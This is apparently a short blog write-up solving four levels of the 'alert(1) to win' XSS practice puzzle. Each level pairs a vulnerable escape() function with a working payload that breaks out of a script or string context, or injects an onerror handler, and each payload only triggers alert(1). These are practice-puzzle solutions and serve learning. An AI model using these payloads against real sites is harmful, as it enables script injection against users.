[alert(1) to win] Warmup - Markdown (ing)

write-up(web)/misc

chanchand 2023. 11. 28. 20:50

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

");alert(1);("

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

\");alert(1);//

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

</script><script>alert(1);//

[[s|http://onerror=alert(1)//]]

<img alt="<a href=" http:// onerror=alert(1)//" src="s.gif">

hehehe